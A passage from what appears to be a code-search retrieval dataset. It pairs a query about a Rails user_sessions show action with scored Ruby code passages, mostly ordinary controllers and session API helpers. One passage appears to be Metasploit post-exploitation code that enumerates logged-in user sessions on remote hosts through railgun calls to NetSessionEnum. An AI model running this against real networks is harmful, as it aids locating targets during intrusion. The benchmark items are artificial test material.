"d6b5745cd85ab74c9aad3d0cdbf418fb", "score": "0.557242", "text": "def required_properties; end", "title": "" }, { "docid": "9615962387bf732d99f0b5984e4a280e", "score": "0.55702364", "text": "def create\n property = current_user.properties.new(\n title: params[:title],\n value: params[:value]\n )\n\n if property.save\n render status: 200, json: { property_id: property.id }\n else\n render status: 422, json: {\n error: property.errors.full_messages.join(', ')\n }\n end\n end", "title": "" }, { "docid": "2d42a2374a851ee700a7840a643b19e3", "score": "0.55678", "text": "def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n first: @resource[:first],\n second: @resource[:second],\n kind: @resource[:kind],\n symmetrical: @resource[:symmetrical],\n new: true\n }\n end", "title": "" }, { "docid": "c446b5bead7f838a0ffac3e93158ff73", "score": "0.5559815", "text": "def r_property_definition_params\n params.require(:r_property_definition).permit(:property, :symbol, :table, :definition, :properties)\n end", "title": "" }, { "docid": "7ad140946e5bc0a594321adc6d443029", "score": "0.5558815", "text": "def property_group_params\n params.fetch(:property_group, {}).permit(:name, :description)\n end", "title": "" }, { "docid": "162d0e63d65b0cd6795543bab63498f2", "score": "0.55464625", "text": "def validate_properties\n true\n end", "title": "" }, { "docid": "162d0e63d65b0cd6795543bab63498f2", "score": "0.55464625", "text": "def validate_properties\n true\n end", "title": "" }, { "docid": "6acad8b74ed4984dea6f305eafc2f803", "score": "0.55454415", "text": "def create\n @property_hash[:ensure] = :present\n self.class.resource_type.validproperties.each do |property|\n if val = resource.should(property)\n @property_hash[property] = val\n end\n end\n end", "title": "" }, { "docid": "339195e1b1fc5b6a695af45c93b9ab00", "score": "0.55433106", "text": "def property_params\n params.require(:property).permit(:name, :rent, :address, :age, :remarks,stations_attributes: [:id, :line, :station, :time])\n end", "title": "" } ]
4b447e46d4118e7d09967ca4ad1afec6
GET /user_sessions/1 GET /user_sessions/1.xml
[ { "docid": "26bc2f44b5a396d29fa98939ab605968", "score": "0.6822174", "text": "def show\n @user_session = UserSession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_session }\n end\n end", "title": "" } ]
[ { "docid": "0df500a3b1468fc6f3e452b8c5134e67", "score": "0.6704263", "text": "def session_get\n nessus_rest_get(\"session\")\n end", "title": "" }, { "docid": "1c67bf827222698c9a825f52e7ce2fcb", "score": "0.653773", "text": "def list_sessions(user_id:)\n path = '/users/{userId}/sessions'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::SessionList\n )\n end", "title": "" }, { "docid": "988186a0d6d65b87d10468c09698c484", "score": "0.6420875", "text": "def sessions!\n @sessions = search_sessions(xml_doc!)\n end", "title": "" }, { "docid": "756cc3ab5e70dcbd390c127ba41e42a4", "score": "0.63612694", "text": "def index\n @user_sessions = UserSession.all\n end", "title": "" }, { "docid": "b793b13854f70a82d4d5bcc731a43807", "score": "0.6361255", "text": "def sessions\n @sessions ||= search_sessions(xml_doc)\n end", "title": "" }, { "docid": "77e9073a675e77321bcf0b9d1e16bc45", "score": "0.6260453", "text": "def show\n #logger.debug( cookies.inspect )\n logger.debug( \"Authorization header: #{request.headers['Authorization']}\" )\n @session = Session.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml\n format.json do\n render :json => {\n :session => {\n :token => @session.token,\n :link => {\n :rel => 'session',\n :uri => session_path(@session)\n }\n }\n }\n end\n end\n end", "title": "" }, { "docid": "78c91061ae58bb0c2de71a1158e05c68", "score": "0.6186315", "text": "def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end", "title": "" }, { "docid": "69f330db60b2896955f24bb550af7c58", "score": "0.6131672", "text": "def userIndex\n @user_sessions = current_user.sessions\n end", "title": "" }, { "docid": "26692fe41c87727ecc3dbfb4eaa78c96", "score": "0.6117265", "text": "def index\n sessions = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/sessions\"\n ).body\n end\n styled_header(\"OAuth Sessions\")\n styled_array(sessions.map { |session|\n [session[\"description\"], session[\"id\"]]\n })\n end", "title": "" }, { "docid": "ad0db7d228dc3eab7afee3c1c41db08d", "score": "0.60474265", "text": "def session(id)\n search_sessions(xml_doc, id).first\n end", "title": "" }, { "docid": "7ea4f9fa896cb8bd9372e5f3b9e5b493", "score": "0.60416436", "text": "def logout\n log_prefix = \"API(logout)\"\n $log.info(\"#{log_prefix} User: #{session}\")\n s = session[:userid]\n user = User.find_by_userid(s)\n user.logoff if user\n session.clear\n respond_to do |format|\n format.xml { render xml: session.to_xml(:root => 'user') }\n end\n end", "title": "" }, { "docid": "1d0a2df89502fd00fc5b0d5ba6065fe0", "score": "0.5938547", "text": "def index\n @sessions = current_user.fitness_sessions\n end", "title": "" }, { "docid": "43d2742697af22fbdcc17a0f8990459e", "score": "0.5938036", "text": "def api_v11_users_sessions_get(opts = {})\n api_v11_users_sessions_get_with_http_info(opts)\n return nil\n end", "title": "" }, { "docid": "c7e22f5f11d52d77ab9bacf1f0bd5265", "score": "0.5915164", "text": "def show\n begin\n if m = params[:id].match(/([^\\.]+)/)\n uid = m.captures.first\n else\n uid = params[:id]\n end\n sso_session = params[:session]\n\n # Check if session is valid\n @valid_session = (!uid.blank? && !sso_session.blank? && User.where(uid:uid,sso_session:sso_session).count > 0)\n\n # Build response\n response_hash = {\n valid: @valid_session,\n recheck: 3.minutes.from_now.utc\n }\n\n logger.info(\"INSPECT: session_hash => #{response_hash}\")\n\n render json: response_hash\n rescue Exception => e\n logger.error(e)\n raise e\n end\n end", "title": "" }, { "docid": "90f429a63df0eaa9340b4f71df9f6fe6", "score": "0.5912569", "text": "def session!(id)\n search_sessions(xml_doc!, id).first\n end", "title": "" }, { "docid": "b5e6e9b526e2d38e422ada643717f276", "score": "0.591143", "text": "def get_all_user_sessions(user_uid,start_date,user_request_id)\n # PostgresLacticSessions.get_by_uid(user_uid,start_date,user_request_id)\n get_pg_by_uid(user_uid,start_date,user_request_id)\n end", "title": "" }, { "docid": "c5f49ca2f40637b4da7141f50ef96d23", "score": "0.5904796", "text": "def index\n @temps = Temp.find(:all, :conditions => \"user = '#{session[:user_id]}'\") \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @temps }\n end\n end", "title": "" }, { "docid": "0c2e1fb243ef0c2a58078e150424c831", "score": "0.58858496", "text": "def info()\n get(:session, {:method => \"user.getInfo\"})\n end", "title": "" }, { "docid": "9ba2778d6f3b2c0dd79506b56f33a8ae", "score": "0.58832437", "text": "def user_data_xml\n run_url = 'http://nikerunning.nike.com/nikeplus/v1/services/widget/get_public_user_data.jsp?userID='\n run_url += @id.to_s\n open(run_url)\n end", "title": "" }, { "docid": "23c32b0ca0889fe2a1427036c4b2673c", "score": "0.5848261", "text": "def get_sessions\n\t\tsessions = Session.get_week(self.user_id, self.start_date)\n\t\tget_nice_array(sessions)\n\tend", "title": "" }, { "docid": "086a88ec1824a8cd25f17231b212ef58", "score": "0.58387804", "text": "def show\n @session = Sso::Session.find(sso_session_id)\n render json: @session, serializer: Sso::SessionSerializer\n end", "title": "" }, { "docid": "507c2ec3995645f3112d69182df31eb4", "score": "0.58386153", "text": "def show\n @session = Session.find(params[:id])\n redirect_to \"user/show\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "title": "" }, { "docid": "8bac7108c24fc1d360dfecac5d36ddf2", "score": "0.58375984", "text": "def new\n @user_session = UserSession.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_session }\n end\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.5835957", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.5835957", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.5835957", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "1540fd507d89cd5f74b8ab0e5cabed91", "score": "0.5835957", "text": "def index\n @sessions = Session.all\n end", "title": "" }, { "docid": "937fc3a9ea97cd580b1a91b52e0e6387", "score": "0.5811737", "text": "def web_session()\n get(:signed, {:method => \"auth.getWebSession\"})\n end", "title": "" }, { "docid": "5fae3af54bfdc0eee3245d51852a8e4d", "score": "0.5809855", "text": "def create_xml\n self.current_user =\n User.authenticate(params[:login], params[:password])\n if logged_in?\n if params[:remember_me] == \"1\"\n self.current_user.remember_me\n cookies[:auth_token] = {\n :value => self.current_user.remember_token,\n :expires => self.current_user.remember_token_expires_at\n }\n end\n render :xml => self.current_user.to_xml\n else\n render :text => \"badlogin\"\n end\n end", "title": "" }, { "docid": "37cc4a53286f470f8a6f12d9616c91be", "score": "0.58021975", "text": "def retrieve_session\n request.method = :get\n request.uri = '_session'\n Couchdbtools.execute(request)\n end", "title": "" }, { "docid": "21dfb5af5a2be22edd02dbe86fe4d40f", "score": "0.579281", "text": "def sessions\n @sessions\n end", "title": "" }, { "docid": "b722e36834968bd61820ee9281d79e02", "score": "0.57891214", "text": "def session\n @current_user = User.find_by_access_token(params[:access_token])\n \n # Fetch content for current user\n # find_friends_for_facebook_id(@current_user.facebook_id, since = nil)\n \n # return new friends\n # We want to send the entire friendslist hash of id, name to the client\n # friend_array = Friendship.find(:all, :select=>\"friend_id, friend_name\", :conditions=>\"user_id = #{@current_user.id}\").map {|f| {:friend_id=>f.friend_id.to_i, :friend_name=>f.friend_name}}\n # friend_id_array = friend_array.map do |f| f[:friend_id] end\n # \n # # The response should include the current user ID and name for the client to cache\n # session_response_hash = {\n # :access_token => @current_user.access_token,\n # :facebook_id => @current_user.facebook_id,\n # :name => @current_user.name,\n # :friends => friend_array\n # }\n \n session_response_hash = {\n :access_token => @current_user.access_token\n }\n\n respond_to do |format|\n format.xml { render :xml => session_response_hash.to_xml }\n format.json { render :json => session_response_hash.to_json }\n end\n end", "title": "" }, { "docid": "5cb035d2ab3f87af0c023887bc45bc28", "score": "0.5777829", "text": "def index\n @sessions = @event.sessions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sessions }\n end\n end", "title": "" }, { "docid": "97a23eac9d6a95980c65f5a431dd9974", "score": "0.57721347", "text": "def index \n if session[:user_id] \n @subscriptions = Subscription.all(:conditions => [\"user_id = ?\", session[:user_id]])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n else\n redirect_to \"/login\"\n end\n end", "title": "" }, { "docid": "f31f625684ba00fb641f6268d8be8432", "score": "0.57607275", "text": "def show\n @session = @event.sessions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "title": "" }, { "docid": "194f9efddd8bedd62623b67b7c031db5", "score": "0.575898", "text": "def get_user_calendar_xml # :nodoc:\n response = session.get(USER_FEED)\n Nokogiri::XML(response.body)\n end", "title": "" }, { "docid": "5b139c476674bbe32637fb5811663420", "score": "0.5748665", "text": "def index\n @user_session = UserSession.find\n if @user_session.nil?\n render :json => nil\n else\n @user = current_user\n @groups = @user.groups.order('groups.name')\n render 'user_sessions/index.json.rabl'\n end\n end", "title": "" }, { "docid": "126fcdeb326ba54581ee7cdd3981c137", "score": "0.57459205", "text": "def start_session(nick)\n usr = User.first(:nickname=>params[:nickname])\n p User.all\n if usr != nil\n sid = gen_sessionid\n\n #associate nick with sid & IP & communication password\n $sessions[nick] = {:ip=>@env['REMOTE_ADDR'], :sid=> sid, :lastrequest=> Time.now.to_i}\n\n #return JSON with sessionid\n return {:sid => sid}\n end\n return 'error'\nend", "title": "" }, { "docid": "3d48a816df3963d33fc42f3e44d8f03f", "score": "0.57394326", "text": "def get_with_session_login(path, session)\n get path, nil, {\"rack.session\" => {\"uid\" => session['uid']}}\n end", "title": "" }, { "docid": "ccedebe3856a99795ba57fbe3f941c56", "score": "0.57361424", "text": "def show\n @user = User.find(params[:id])\n render :xml => @user.to_xml(:except => [ :password ])\n end", "title": "" }, { "docid": "b77bde01a2fdc5978ae994d4910eb559", "score": "0.57260597", "text": "def show\n @session_user_message = SessionUserMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @session_user_message }\n end\n end", "title": "" }, { "docid": "37516f09db77e7dd91109c968c40352f", "score": "0.5713028", "text": "def index\n @sessions = Session.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sessions }\n end\n end", "title": "" }, { "docid": "26d7695c6f156f6ed5f9c6e992d6c81f", "score": "0.5690946", "text": "def retrieve_response\n token = session.token\n r = Session.build(token, Session.xml_requester(token))\n r.get(url)\n end", "title": "" }, { "docid": "a42698beccd6f24a1b3c17aa7d6ff6e8", "score": "0.5659751", "text": "def list_users\n http_get(:uri=>\"/users\", :fields=>x_cookie)\n end", "title": "" }, { "docid": "5be56a6c0c87f8508fae57c6e35f28e3", "score": "0.5656596", "text": "def get_session(options = {})\n resp = @connection.post do |req|\n req.headers = { :Accept => 'application/json'}\n req.url 'v1/sessions'\n req.body = options.to_json\n end\n check_response_for_errors resp.body\n end", "title": "" }, { "docid": "b08c3cdd1bf68015d56b7e2b2c3ca9d7", "score": "0.56396335", "text": "def session_id\n @response.xpath('//SessionId').text\n end", "title": "" }, { "docid": "c877e14518b412c403aa4634a0ed7d62", "score": "0.56388205", "text": "def api_v11_users_sessions_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_users_sessions_get ...\"\n end\n \n # resource path\n path = \"/api/v11/users/sessions\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_users_sessions_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b0a111662773ff0bb9859eb87391749a", "score": "0.5635581", "text": "def show\n @session = Session.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "title": "" }, { "docid": "b0a111662773ff0bb9859eb87391749a", "score": "0.5635581", "text": "def show\n @session = Session.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "title": "" }, { "docid": "698ba3c671bc1500c6dc7c31851a911f", "score": "0.56129247", "text": "def new\n @user_session = UserSession.new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_session }\n end\n end", "title": "" }, { "docid": "b303b8098e17c6ad40a1ac3d15c8d877", "score": "0.5610356", "text": "def show\n @ykt_session = YktSession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ykt_session }\n end\n end", "title": "" }, { "docid": "4fa336a4b9f4f05eed735d033ec95af8", "score": "0.56047285", "text": "def show_relaxation_session\n\t\t@user = current_user\n\t\t@relaxation_sessions = RelaxationSession.where(:username => @user.username)\n\tend", "title": "" }, { "docid": "dc616f77144c9915ae30de7b61c0a831", "score": "0.5604537", "text": "def index\n @program_sessions = ProgramSession.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @program_sessions }\n end\n end", "title": "" }, { "docid": "c689218da99b6aee135bfeededfd0473", "score": "0.5586271", "text": "def index\n @session_user_messages = SessionUserMessage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @session_user_messages }\n end\n end", "title": "" }, { "docid": "a70de4d0163e1931ff63757d66c73703", "score": "0.55733466", "text": "def get_session\n session = Session.create!(key: Random.rand(0xFFFFFFFF).to_s)\n render json: { id: session.id, key: session.key }\n end", "title": "" }, { "docid": "1293f969726f5d2318f29109fafcc4c1", "score": "0.55733275", "text": "def sess\n self.http_get(self.session_uri)#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end", "title": "" }, { "docid": "5bdbb429dd5e1f25d01c7a98206d4d8c", "score": "0.55656064", "text": "def get(url)\n setup_or_refresh_rest_session\n @session.get(url: url)\n end", "title": "" }, { "docid": "43823fc634c9f15461189e1162df35cc", "score": "0.5555572", "text": "def new\n @user_session = UserSession.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @user_session }\n end\n end", "title": "" }, { "docid": "b1c65694b1a4857684e6a58e79f17c5f", "score": "0.5548334", "text": "def session\n response = Stanza::Iq.new :set\n response.to = @to\n response << (sess = XMPPNode.new('session', response.document))\n sess.namespace = SESSION_NS\n\n @stream.send response\n end", "title": "" }, { "docid": "fe6c9a5c19ae12c495f205627502194c", "score": "0.55411285", "text": "def show\n puts \"======================================\"\n puts \"The session id is #{session[:user_id]}\"\n puts \"======================================\"\n @user = User.find_by_id(session[:user_id])\n end", "title": "" }, { "docid": "4c9b4eacc46f5df6bf0fb01846418e4a", "score": "0.553561", "text": "def index\n params[:id] = session_user_id\n show\n end", "title": "" }, { "docid": "ae5be2d2c9f478406807979c23bebd38", "score": "0.55018467", "text": "def index\n @users = User.all\n render :xml => @users\n end", "title": "" }, { "docid": "0af1324ccd75044d58b30c2680182868", "score": "0.549818", "text": "def sessions=(value)\n @sessions = value\n end", "title": "" }, { "docid": "d50e4066246ffeabb2ccfe8b63dbe5b9", "score": "0.54920787", "text": "def get_session( params )\n LastFM.get( \"auth.getSession\", params, :secure )\n end", "title": "" }, { "docid": "637225ed5bb9cbda5fd5ab85deeecdcc", "score": "0.5487603", "text": "def index\n # Reset the session enduser\n session[:enduser] = '0'\n\tend", "title": "" }, { "docid": "3e32f5420c4124ece2599bbee6c0181a", "score": "0.5471537", "text": "def index\n @user_session = user_session\n @users = User.all \n respond_to do |format|\n format.html\n format.json { render json: @users}\n end\n end", "title": "" }, { "docid": "f25e46bf933511ec60b6f9cf5d9cf6f8", "score": "0.5467162", "text": "def index\n @shopping_lists = ShoppingList.find_all_by_user_id(session[:user_id])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @shopping_lists }\n end\n end", "title": "" }, { "docid": "000e6fb44c8c21297116123d21ac9115", "score": "0.54662466", "text": "def show\n @sessionmap = Sessionmap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sessionmap }\n end\n end", "title": "" }, { "docid": "8ca5b60ae91490605ba2f6de4a927717", "score": "0.5462638", "text": "def getMobileSession(username, password)\r\n #authToken = Digest::MD5.hexdigest(@username + Digest::MD5.hexdigest(@password))\r\n api_sig = signatureMobile({:method => \"auth.getMobileSession\", :password => password, :username => username, :api_key => @apiKey})\r\n\r\n connection = Request.new(\"https://ws.audioscrobbler.com/2.0/\")\r\n query =\r\n {\r\n :method => \"auth.getMobileSession\",\r\n :api_key => @apiKey,\r\n :api_sig => api_sig,\r\n :username => username,\r\n :password => password\r\n }\r\n xml = connection.post(\"\", query)\r\n doc = XmlSimple.xml_in(xml)\r\n if(doc[\"status\"] == \"failed\")\r\n puts \"\\tgetMobileSession failed, code: \" + doc[\"error\"][0][\"code\"] + \" content: \" + doc[\"error\"][0][\"content\"]\r\n return \"failed\"\r\n else\r\n return doc[\"session\"][0][\"key\"][0]\r\n end\r\n end", "title": "" }, { "docid": "e749146aa2e9bcd03d4ad87b5110bec0", "score": "0.5461176", "text": "def get_session_status keys\n @con.call 'core.get_session_status', keys, {}\n end", "title": "" }, { "docid": "14a712519d6083dd24d0c333ac51c225", "score": "0.54603225", "text": "def get\n params.required(:id)\n\n # Grab the device that is trying to authenticate\n unathenticated_error unless @api_consumer.is_a? Service\n service = @api_consumer\n\n @session = service.sessions.find(params[:id])\n end", "title": "" }, { "docid": "ba42a910f5720f3555b6cf9ce1e1799c", "score": "0.54601336", "text": "def index\n @title = \"All users\"\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users.to_xml(:except => [:password_digest, :remember_token])}\n end\n end", "title": "" }, { "docid": "71f8a3de418f31f8cf1da479779dd033", "score": "0.5460083", "text": "def list_my_sessions(opts = {})\n data, _status_code, _headers = list_my_sessions_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "ad8416a9b894f1e9c60787effcd94c3a", "score": "0.54481244", "text": "def index\n @user = session[:user]\n end", "title": "" }, { "docid": "ad8416a9b894f1e9c60787effcd94c3a", "score": "0.54481244", "text": "def index\n @user = session[:user]\n end", "title": "" }, { "docid": "e9b4102471ec17ba6a9052dddba762b2", "score": "0.5447645", "text": "def session; @session; end", "title": "" }, { "docid": "e9b4102471ec17ba6a9052dddba762b2", "score": "0.5447645", "text": "def session; @session; end", "title": "" }, { "docid": "e9b4102471ec17ba6a9052dddba762b2", "score": "0.5447645", "text": "def session; @session; end", "title": "" }, { "docid": "9206196214cc7d8080a673f6e897aec5", "score": "0.5437009", "text": "def getSessionInfo(sessionID)\n call :getSessionInfo, :sessionID => sessionID\n end", "title": "" }, { "docid": "d374f0bef61b31636bbf3d1a784bf267", "score": "0.5433624", "text": "def remote_get_list\n @user = login_from_salt\n \n render :xml => @user.queue_xml \n end", "title": "" }, { "docid": "938d2207b4517ab2d45b8dfa7e1104a2", "score": "0.54331833", "text": "def list_my_sessions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FrontendApi.list_my_sessions ...'\n end\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling FrontendApi.list_my_sessions, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'per_page'].nil? && opts[:'per_page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"per_page\"]\" when calling FrontendApi.list_my_sessions, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page'].nil? && opts[:'page'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page\"]\" when calling FrontendApi.list_my_sessions, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/sessions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-Session-Token'] = opts[:'x_session_token'] if !opts[:'x_session_token'].nil?\n header_params[:'Cookie'] = opts[:'cookie'] if !opts[:'cookie'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<Session>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"FrontendApi.list_my_sessions\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FrontendApi#list_my_sessions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "08af89df723872a5a1952b7727f3ea8b", "score": "0.5432569", "text": "def index\n @users = User.find(:all, :order => :email)\n user = User.find_by_id(session[:user_id])\n @user_type = user.user_type\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end", "title": "" }, { "docid": "c0b618c1c7f30ca5cf4378af8586e6af", "score": "0.5430267", "text": "def getSessions(hostname,username)\n\n client.railgun.add_function('netapi32', 'NetSessionEnum', 'DWORD',[\n ['PWCHAR','servername','in'],\n ['PWCHAR','UncClientName','in'],\n ['PWCHAR','username','in'],\n ['DWORD','level','in'],\n ['PDWORD','bufptr','out'],\n ['DWORD','prefmaxlen','in'],\n ['PDWORD','entriesread','out'],\n ['PDWORD','totalentries','out'],\n ['PDWORD','resume_handle','inout']\n ])\n\n buffersize = 500\n result = client.railgun.netapi32.NetSessionEnum(hostname,nil,username,10,4,buffersize,4,4,nil)\n if result['return'] == 5\n if @verbose == true\n print_error(\"Access Denied when trying to access host: #{hostname}\")\n end\n return nil\n elsif result['return'] == 53\n if @verbose == true\n print_error(\"Host not found or did not respond: #{hostname}\")\n end\n return nil\n elsif result['return'] == 123\n if @verbose == true\n print_error(\"Invalid host: #{hostname}\")\n end\n return nil\n elsif result['return'] == 0\n if @verbose == true\n print_status(\"#{hostname} Session identified\")\n end\n elsif result['return'] == 2221 #username not found\n return nil\n else\n if result['return'] != 234\n if @verbose == true\n print_status(\"Unaccounted for error code: #{result['return']}\")\n end\n return nil\n end\n end\n\n while result['return'] == 234\n buffersize = buffersize + 500\n print_status(\"Buff me\")\n result = client.railgun.netapi32.NetSessionEnum(hostname,nil,username,10,4,buffersize,4,4,nil)\n end\n\n netsessions = read_session_struct(result['bufptr'],result['totalentries'])\n if netsessions.size > 0\n netsessions.each do |x|\n if username != nil\n print_good(\"#{username} is logged in at #{hostname} and has been idle for #{x[:idletime]} seconds\")\n @sessions = @sessions + 1\n else\n print_good(\"#{x[:username]} logged in at #{hostname} and has been idle for #{x[:idletime]} seconds\")\n end\n \n end\n end\n end", "title": "" }, { "docid": "aabaee2740e9dd637a0a8d72f6f9c1a9", "score": "0.54257876", "text": "def index\n @user = User.find(self.current_user.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @credentials }\n end\n end", "title": "" }, { "docid": "cca08caf98b000f960bad8ca056dccc5", "score": "0.54213774", "text": "def live\n users = WebmasterTools::Verification::Config.authorized_accounts(:live).map(&:last)\n xml = %Q{<?xml version=\"1.0\"?><users><user>#{users.join(\"</user><user>\")}</user></users>}\n render :xml => xml\n end", "title": "" }, { "docid": "e7b65db5b6f48fefd94fb173a962fffd", "score": "0.54196864", "text": "def session(token)\n get(:signed, {:method => \"auth.getSession\", :token => token})\n end", "title": "" }, { "docid": "e354dcdadf5c24200fd23fa01aacadc1", "score": "0.54170054", "text": "def show\n @pool_session = PoolSession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pool_session }\n end\n end", "title": "" }, { "docid": "160f7bdd5e8c2e5de75cc1583a839596", "score": "0.54099786", "text": "def show\n json_emitter ::Services::UserSessions::Users::Show\n end", "title": "" }, { "docid": "700ad98158c721ba97e21de5208e979e", "score": "0.54030627", "text": "def show\n @interview_session = InterviewSession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @interview_session }\n end\n end", "title": "" }, { "docid": "80daeca73b47cd1ea991953b5389f93e", "score": "0.53904414", "text": "def show\n @user = User.find(params[:id])\n @sessionname = session[:current_user_id]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "80daeca73b47cd1ea991953b5389f93e", "score": "0.53904414", "text": "def show\n @user = User.find(params[:id])\n @sessionname = session[:current_user_id]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "46c019d1eff73ec48c177e27d2d21a79", "score": "0.5381363", "text": "def show\n @user = User.find(params[:id])\n @title = @user.username\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user.to_xml(:except => [:password_digest, :remember_token])}\n end\n end", "title": "" }, { "docid": "69dfb29515517ee9160f88a3cad4852a", "score": "0.5378369", "text": "def index\n @admin = AdminAccount.find_by_id(session[:admin_id])\n @user_accounts = UserAccount.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_accounts }\n end\n end", "title": "" }, { "docid": "fe4cf61cabf34caab43b7d87c5ff5feb", "score": "0.5377524", "text": "def show\n @user = User.find(params[:id])\n render :xml => @user\n rescue\n render :nothing => true, :status => :not_found\n end", "title": "" }, { "docid": "12565d8b72e68f2fd3cd991b8ca4682b", "score": "0.5376014", "text": "def get_today_sessions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SessionApi.get_today_sessions ...\"\n end\n # resource path\n local_var_path = \"/session/today\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20045')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SessionApi#get_today_sessions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", 